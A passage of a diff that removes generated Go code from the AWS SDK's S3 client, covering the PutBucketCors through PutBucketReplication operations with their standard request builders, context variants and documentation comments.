c.PutBucketAnalyticsConfigurationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutBucketCors = "PutBucketCors" - -// PutBucketCorsRequest generates a "aws/request.Request" representing the -// client's request for the PutBucketCors operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutBucketCors for more information on using the PutBucketCors -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutBucketCorsRequest method. -// req, resp := client.PutBucketCorsRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketCors -func (c *S3) PutBucketCorsRequest(input *PutBucketCorsInput) (req *request.Request, output *PutBucketCorsOutput) { - op := &request.Operation{ - Name: opPutBucketCors, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?cors", - } - - if input == nil { - input = &PutBucketCorsInput{} - } - - output = &PutBucketCorsOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutBucketCors API operation for Amazon Simple Storage Service. -// -// Sets the CORS configuration for a bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutBucketCors for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketCors -func (c *S3) PutBucketCors(input *PutBucketCorsInput) (*PutBucketCorsOutput, error) { - req, out := c.PutBucketCorsRequest(input) - return out, req.Send() -} - -// PutBucketCorsWithContext is the same as PutBucketCors with the addition of -// the ability to pass a context and additional request options. -// -// See PutBucketCors for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutBucketCorsWithContext(ctx aws.Context, input *PutBucketCorsInput, opts ...request.Option) (*PutBucketCorsOutput, error) { - req, out := c.PutBucketCorsRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutBucketEncryption = "PutBucketEncryption" - -// PutBucketEncryptionRequest generates a "aws/request.Request" representing the -// client's request for the PutBucketEncryption operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutBucketEncryption for more information on using the PutBucketEncryption -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutBucketEncryptionRequest method. -// req, resp := client.PutBucketEncryptionRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketEncryption -func (c *S3) PutBucketEncryptionRequest(input *PutBucketEncryptionInput) (req *request.Request, output *PutBucketEncryptionOutput) { - op := &request.Operation{ - Name: opPutBucketEncryption, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?encryption", - } - - if input == nil { - input = &PutBucketEncryptionInput{} - } - - output = &PutBucketEncryptionOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutBucketEncryption API operation for Amazon Simple Storage Service. -// -// Creates a new server-side encryption configuration (or replaces an existing -// one, if present). -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutBucketEncryption for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketEncryption -func (c *S3) PutBucketEncryption(input *PutBucketEncryptionInput) (*PutBucketEncryptionOutput, error) { - req, out := c.PutBucketEncryptionRequest(input) - return out, req.Send() -} - -// PutBucketEncryptionWithContext is the same as PutBucketEncryption with the addition of -// the ability to pass a context and additional request options. -// -// See PutBucketEncryption for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutBucketEncryptionWithContext(ctx aws.Context, input *PutBucketEncryptionInput, opts ...request.Option) (*PutBucketEncryptionOutput, error) { - req, out := c.PutBucketEncryptionRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutBucketInventoryConfiguration = "PutBucketInventoryConfiguration" - -// PutBucketInventoryConfigurationRequest generates a "aws/request.Request" representing the -// client's request for the PutBucketInventoryConfiguration operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutBucketInventoryConfiguration for more information on using the PutBucketInventoryConfiguration -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutBucketInventoryConfigurationRequest method. -// req, resp := client.PutBucketInventoryConfigurationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketInventoryConfiguration -func (c *S3) PutBucketInventoryConfigurationRequest(input *PutBucketInventoryConfigurationInput) (req *request.Request, output *PutBucketInventoryConfigurationOutput) { - op := &request.Operation{ - Name: opPutBucketInventoryConfiguration, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?inventory", - } - - if input == nil { - input = &PutBucketInventoryConfigurationInput{} - } - - output = &PutBucketInventoryConfigurationOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutBucketInventoryConfiguration API operation for Amazon Simple Storage Service. -// -// Adds an inventory configuration (identified by the inventory ID) from the -// bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutBucketInventoryConfiguration for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketInventoryConfiguration -func (c *S3) PutBucketInventoryConfiguration(input *PutBucketInventoryConfigurationInput) (*PutBucketInventoryConfigurationOutput, error) { - req, out := c.PutBucketInventoryConfigurationRequest(input) - return out, req.Send() -} - -// PutBucketInventoryConfigurationWithContext is the same as PutBucketInventoryConfiguration with the addition of -// the ability to pass a context and additional request options. -// -// See PutBucketInventoryConfiguration for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutBucketInventoryConfigurationWithContext(ctx aws.Context, input *PutBucketInventoryConfigurationInput, opts ...request.Option) (*PutBucketInventoryConfigurationOutput, error) { - req, out := c.PutBucketInventoryConfigurationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutBucketLifecycle = "PutBucketLifecycle" - -// PutBucketLifecycleRequest generates a "aws/request.Request" representing the -// client's request for the PutBucketLifecycle operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutBucketLifecycle for more information on using the PutBucketLifecycle -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutBucketLifecycleRequest method. -// req, resp := client.PutBucketLifecycleRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketLifecycle -// -// Deprecated: PutBucketLifecycle has been deprecated -func (c *S3) PutBucketLifecycleRequest(input *PutBucketLifecycleInput) (req *request.Request, output *PutBucketLifecycleOutput) { - if c.Client.Config.Logger != nil { - c.Client.Config.Logger.Log("This operation, PutBucketLifecycle, has been deprecated") - } - op := &request.Operation{ - Name: opPutBucketLifecycle, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?lifecycle", - } - - if input == nil { - input = &PutBucketLifecycleInput{} - } - - output = &PutBucketLifecycleOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutBucketLifecycle API operation for Amazon Simple Storage Service. -// -// No longer used, see the PutBucketLifecycleConfiguration operation. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutBucketLifecycle for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketLifecycle -// -// Deprecated: PutBucketLifecycle has been deprecated -func (c *S3) PutBucketLifecycle(input *PutBucketLifecycleInput) (*PutBucketLifecycleOutput, error) { - req, out := c.PutBucketLifecycleRequest(input) - return out, req.Send() -} - -// PutBucketLifecycleWithContext is the same as PutBucketLifecycle with the addition of -// the ability to pass a context and additional request options. -// -// See PutBucketLifecycle for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -// -// Deprecated: PutBucketLifecycleWithContext has been deprecated -func (c *S3) PutBucketLifecycleWithContext(ctx aws.Context, input *PutBucketLifecycleInput, opts ...request.Option) (*PutBucketLifecycleOutput, error) { - req, out := c.PutBucketLifecycleRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutBucketLifecycleConfiguration = "PutBucketLifecycleConfiguration" - -// PutBucketLifecycleConfigurationRequest generates a "aws/request.Request" representing the -// client's request for the PutBucketLifecycleConfiguration operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutBucketLifecycleConfiguration for more information on using the PutBucketLifecycleConfiguration -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutBucketLifecycleConfigurationRequest method. -// req, resp := client.PutBucketLifecycleConfigurationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketLifecycleConfiguration -func (c *S3) PutBucketLifecycleConfigurationRequest(input *PutBucketLifecycleConfigurationInput) (req *request.Request, output *PutBucketLifecycleConfigurationOutput) { - op := &request.Operation{ - Name: opPutBucketLifecycleConfiguration, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?lifecycle", - } - - if input == nil { - input = &PutBucketLifecycleConfigurationInput{} - } - - output = &PutBucketLifecycleConfigurationOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutBucketLifecycleConfiguration API operation for Amazon Simple Storage Service. -// -// Sets lifecycle configuration for your bucket. If a lifecycle configuration -// exists, it replaces it. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutBucketLifecycleConfiguration for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketLifecycleConfiguration -func (c *S3) PutBucketLifecycleConfiguration(input *PutBucketLifecycleConfigurationInput) (*PutBucketLifecycleConfigurationOutput, error) { - req, out := c.PutBucketLifecycleConfigurationRequest(input) - return out, req.Send() -} - -// PutBucketLifecycleConfigurationWithContext is the same as PutBucketLifecycleConfiguration with the addition of -// the ability to pass a context and additional request options. -// -// See PutBucketLifecycleConfiguration for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutBucketLifecycleConfigurationWithContext(ctx aws.Context, input *PutBucketLifecycleConfigurationInput, opts ...request.Option) (*PutBucketLifecycleConfigurationOutput, error) { - req, out := c.PutBucketLifecycleConfigurationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutBucketLogging = "PutBucketLogging" - -// PutBucketLoggingRequest generates a "aws/request.Request" representing the -// client's request for the PutBucketLogging operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutBucketLogging for more information on using the PutBucketLogging -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutBucketLoggingRequest method. -// req, resp := client.PutBucketLoggingRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketLogging -func (c *S3) PutBucketLoggingRequest(input *PutBucketLoggingInput) (req *request.Request, output *PutBucketLoggingOutput) { - op := &request.Operation{ - Name: opPutBucketLogging, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?logging", - } - - if input == nil { - input = &PutBucketLoggingInput{} - } - - output = &PutBucketLoggingOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutBucketLogging API operation for Amazon Simple Storage Service. -// -// Set the logging parameters for a bucket and to specify permissions for who -// can view and modify the logging parameters. To set the logging status of -// a bucket, you must be the bucket owner. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutBucketLogging for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketLogging -func (c *S3) PutBucketLogging(input *PutBucketLoggingInput) (*PutBucketLoggingOutput, error) { - req, out := c.PutBucketLoggingRequest(input) - return out, req.Send() -} - -// PutBucketLoggingWithContext is the same as PutBucketLogging with the addition of -// the ability to pass a context and additional request options. -// -// See PutBucketLogging for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutBucketLoggingWithContext(ctx aws.Context, input *PutBucketLoggingInput, opts ...request.Option) (*PutBucketLoggingOutput, error) { - req, out := c.PutBucketLoggingRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutBucketMetricsConfiguration = "PutBucketMetricsConfiguration" - -// PutBucketMetricsConfigurationRequest generates a "aws/request.Request" representing the -// client's request for the PutBucketMetricsConfiguration operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutBucketMetricsConfiguration for more information on using the PutBucketMetricsConfiguration -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutBucketMetricsConfigurationRequest method. -// req, resp := client.PutBucketMetricsConfigurationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketMetricsConfiguration -func (c *S3) PutBucketMetricsConfigurationRequest(input *PutBucketMetricsConfigurationInput) (req *request.Request, output *PutBucketMetricsConfigurationOutput) { - op := &request.Operation{ - Name: opPutBucketMetricsConfiguration, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?metrics", - } - - if input == nil { - input = &PutBucketMetricsConfigurationInput{} - } - - output = &PutBucketMetricsConfigurationOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutBucketMetricsConfiguration API operation for Amazon Simple Storage Service. -// -// Sets a metrics configuration (specified by the metrics configuration ID) -// for the bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutBucketMetricsConfiguration for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketMetricsConfiguration -func (c *S3) PutBucketMetricsConfiguration(input *PutBucketMetricsConfigurationInput) (*PutBucketMetricsConfigurationOutput, error) { - req, out := c.PutBucketMetricsConfigurationRequest(input) - return out, req.Send() -} - -// PutBucketMetricsConfigurationWithContext is the same as PutBucketMetricsConfiguration with the addition of -// the ability to pass a context and additional request options. -// -// See PutBucketMetricsConfiguration for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutBucketMetricsConfigurationWithContext(ctx aws.Context, input *PutBucketMetricsConfigurationInput, opts ...request.Option) (*PutBucketMetricsConfigurationOutput, error) { - req, out := c.PutBucketMetricsConfigurationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutBucketNotification = "PutBucketNotification" - -// PutBucketNotificationRequest generates a "aws/request.Request" representing the -// client's request for the PutBucketNotification operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutBucketNotification for more information on using the PutBucketNotification -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutBucketNotificationRequest method. -// req, resp := client.PutBucketNotificationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketNotification -// -// Deprecated: PutBucketNotification has been deprecated -func (c *S3) PutBucketNotificationRequest(input *PutBucketNotificationInput) (req *request.Request, output *PutBucketNotificationOutput) { - if c.Client.Config.Logger != nil { - c.Client.Config.Logger.Log("This operation, PutBucketNotification, has been deprecated") - } - op := &request.Operation{ - Name: opPutBucketNotification, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?notification", - } - - if input == nil { - input = &PutBucketNotificationInput{} - } - - output = &PutBucketNotificationOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutBucketNotification API operation for Amazon Simple Storage Service. -// -// No longer used, see the PutBucketNotificationConfiguration operation. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutBucketNotification for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketNotification -// -// Deprecated: PutBucketNotification has been deprecated -func (c *S3) PutBucketNotification(input *PutBucketNotificationInput) (*PutBucketNotificationOutput, error) { - req, out := c.PutBucketNotificationRequest(input) - return out, req.Send() -} - -// PutBucketNotificationWithContext is the same as PutBucketNotification with the addition of -// the ability to pass a context and additional request options. -// -// See PutBucketNotification for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -// -// Deprecated: PutBucketNotificationWithContext has been deprecated -func (c *S3) PutBucketNotificationWithContext(ctx aws.Context, input *PutBucketNotificationInput, opts ...request.Option) (*PutBucketNotificationOutput, error) { - req, out := c.PutBucketNotificationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutBucketNotificationConfiguration = "PutBucketNotificationConfiguration" - -// PutBucketNotificationConfigurationRequest generates a "aws/request.Request" representing the -// client's request for the PutBucketNotificationConfiguration operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutBucketNotificationConfiguration for more information on using the PutBucketNotificationConfiguration -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutBucketNotificationConfigurationRequest method. -// req, resp := client.PutBucketNotificationConfigurationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketNotificationConfiguration -func (c *S3) PutBucketNotificationConfigurationRequest(input *PutBucketNotificationConfigurationInput) (req *request.Request, output *PutBucketNotificationConfigurationOutput) { - op := &request.Operation{ - Name: opPutBucketNotificationConfiguration, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?notification", - } - - if input == nil { - input = &PutBucketNotificationConfigurationInput{} - } - - output = &PutBucketNotificationConfigurationOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutBucketNotificationConfiguration API operation for Amazon Simple Storage Service. -// -// Enables notifications of specified events for a bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutBucketNotificationConfiguration for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketNotificationConfiguration -func (c *S3) PutBucketNotificationConfiguration(input *PutBucketNotificationConfigurationInput) (*PutBucketNotificationConfigurationOutput, error) { - req, out := c.PutBucketNotificationConfigurationRequest(input) - return out, req.Send() -} - -// PutBucketNotificationConfigurationWithContext is the same as PutBucketNotificationConfiguration with the addition of -// the ability to pass a context and additional request options. -// -// See PutBucketNotificationConfiguration for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutBucketNotificationConfigurationWithContext(ctx aws.Context, input *PutBucketNotificationConfigurationInput, opts ...request.Option) (*PutBucketNotificationConfigurationOutput, error) { - req, out := c.PutBucketNotificationConfigurationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutBucketPolicy = "PutBucketPolicy" - -// PutBucketPolicyRequest generates a "aws/request.Request" representing the -// client's request for the PutBucketPolicy operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutBucketPolicy for more information on using the PutBucketPolicy -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutBucketPolicyRequest method. -// req, resp := client.PutBucketPolicyRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketPolicy -func (c *S3) PutBucketPolicyRequest(input *PutBucketPolicyInput) (req *request.Request, output *PutBucketPolicyOutput) { - op := &request.Operation{ - Name: opPutBucketPolicy, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?policy", - } - - if input == nil { - input = &PutBucketPolicyInput{} - } - - output = &PutBucketPolicyOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutBucketPolicy API operation for Amazon Simple Storage Service. -// -// Replaces a policy on a bucket. If the bucket already has a policy, the one -// in this request completely replaces it. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutBucketPolicy for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketPolicy -func (c *S3) PutBucketPolicy(input *PutBucketPolicyInput) (*PutBucketPolicyOutput, error) { - req, out := c.PutBucketPolicyRequest(input) - return out, req.Send() -} - -// PutBucketPolicyWithContext is the same as PutBucketPolicy with the addition of -// the ability to pass a context and additional request options. -// -// See PutBucketPolicy for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutBucketPolicyWithContext(ctx aws.Context, input *PutBucketPolicyInput, opts ...request.Option) (*PutBucketPolicyOutput, error) { - req, out := c.PutBucketPolicyRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutBucketReplication = "PutBucketReplication" - -// PutBucketReplicationRequest generates a "aws/request.Request" representing the -// client's request for the PutBucketReplication operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutBucketReplication for more information on using the PutBucketReplication -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutBucketReplicationRequest method. -// req, resp := client.PutBucketReplicationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketReplication -func (c *S3) PutBucketReplicationRequest(input *PutBucketReplicationInput) (req *request.Request, output *PutBucketReplicationOutput) { - op := &request.Operation{ - Name: opPutBucketReplication, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?replication", - } - - if input == nil { - input = &PutBucketReplicationInput{} - } - - output = &PutBucketReplicationOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutBucketReplication API operation for Amazon Simple Storage Service. -// -// Creates a replication configuration or replaces an existing one. For more -// information, see Cross-Region Replication (CRR) ( https://docs.aws.amazon.com/AmazonS3/latest/dev/crr.html) -// in the Amazon S3 Developer Guide. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutBucketReplication for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketReplication -func (c *S3) PutBucketReplication(input *PutBucketReplicationInput) (*PutBucketReplicationOutput, error) { - req, out := c.PutBucketReplicationRequest(input) - return out, req.Send() -} - -// PutBucketReplicationWithContext is the same as PutBucketReplication with the addition of -// the ability to pass a context and additional request options. -// -// See PutBucketReplication for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutBucketReplicationWithContext(ctx aws.Context, input *PutBucketReplicationInput, opts ...request.Option) (*PutBucketReplicationOutput, error) { - req, out := c.PutBucketReplicationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutBucketRequestPayment = "PutBucketRequestPayment" - -// PutBucketRequestPaymentRequest generates a "aws/request.Request" representing the -// client's request for the PutBucketRequestPayment operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutBucketRequestPayment for more information on using the PutBucketRequestPayment -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutBucketRequestPaymentRequest method. -// req, resp := client.PutBucketRequestPaymentRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketRequestPayment -func (c *S3) PutBucketRequestPaymentRequest(input *PutBucketRequestPaymentInput) (req *request.Request, output *PutBucketRequestPaymentOutput) { - op := &request.Operation{ - Name: opPutBucketRequestPayment, - HTTPMethod: "PUT", - HTTPPath: 